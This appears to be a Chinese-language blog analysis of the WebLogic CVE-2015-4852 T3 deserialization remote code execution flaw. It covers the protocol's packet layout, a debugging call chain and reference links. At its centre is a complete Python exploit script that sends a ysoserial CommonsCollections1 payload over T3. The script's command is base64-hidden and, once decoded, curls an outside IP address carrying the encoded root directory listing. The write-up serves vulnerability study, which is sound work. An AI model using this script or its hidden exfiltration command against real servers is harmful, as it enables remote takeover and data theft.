Weblogic CVE-2015-4852 反序列化RCE分析

环境

Y4tacker师傅fork的QAXATeam的脚本

Jdk7u21 + weblogic10.3.6

T3协议

Weblogic对RMI规范的实现使用一个称为T3的专有协议。您可以将T3(和安全的T3S)视为一个层来公开/允许客户机调用JNDI

WebLogic服务器中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据

T3传输协议是WebLogic的自有协议,它有如下特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

下面通过一个简单的例子学习T3协议

1678189261705.png

构造一个t3协议头的请求包发送,会返回一些数据。HELO后面的就是Weblogic的版本号。

Wireshark分析T3协议数据包

........因为一些未知的原因,我真的抓不到他的流量!直接看其他师傅们的图吧。

1678243593992.png
1678243636486.png

t3协议的数据包,含有t3协议头,随后紧跟服务端返回的版本信息,随后建立连接,开始发送序列化数据。数据包前4字节,标识了数据包的长度。

1678243867859.png
  1. 将正常数据包中的某一段正常的序列化数据替换为恶意数据
  2. 或者将恶意数据拼接到T3协议头当中

因为第一部分会校验数据包长度,替换2-6部分的序列化数据不太现实,如果长度不匹配weblogic会报java.io.EOFException异常。

那么我们可以通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据,即可触发漏洞。

这里借用Y4tacker师傅的脚本,来分析一下如何构造Exp

from os import popen
import struct  # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii


def generatePayload(gadget, cmd):
    YSO_PATH = "ysoserial.jar"
    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
    return popen.stdout.read()


def T3Exploit(ip, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    data += sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    print(data.decode())
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: " + "".join(match))
    else:
        print("Not Weblogic")
        return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(
        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header + desflag + payload
    payload = struct.pack(">I", len(payload)) + payload[4:]
    print(payload)
    sock.send(payload)


if __name__ == "__main__":
    ip = '10.218.46.40'
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "bash -c {echo,Y3VybCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Lz9yZXM9YGxzIC8gfGJhc2U2NGA=}|{base64,-d}|{bash,-i}"
    payload = generatePayload(gadget, cmd)
    T3Exploit(ip, port, payload)

首先发送一个握手包,建立联系。然后准备一个t3协议头(前四个字节为数据包长度)末尾标识,用yso生成一段恶意序列化数据,拼接到t3协议头和末尾标识之间,随后再计算整体长度,替换数据包长度。

漏洞复现

1678246517285.png
1678246437525.png

调试

用的cc1打的,就直接在InvokerTransformer#transform()打个断点

T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。调用了ServerChannelInputStream#readObject方法

1678247010042.png
1678247231121.png

这个类继承了ObjectInputStream,并重写了resolveClass()

但其实还是调用的父类的resolveClass(),最后导致漏洞的产生

Class var2 = super.resolveClass(var1);
1678247691014.png

完整调用链

transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57
readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

参考

https://y4er.com/posts/weblogic-cve-2015-4852/

https://github.com/Y4tacker/JavaSec/tree/main/4.Weblogic%E4%B8%93%E5%8C%BA

https://xz.aliyun.com/t/10563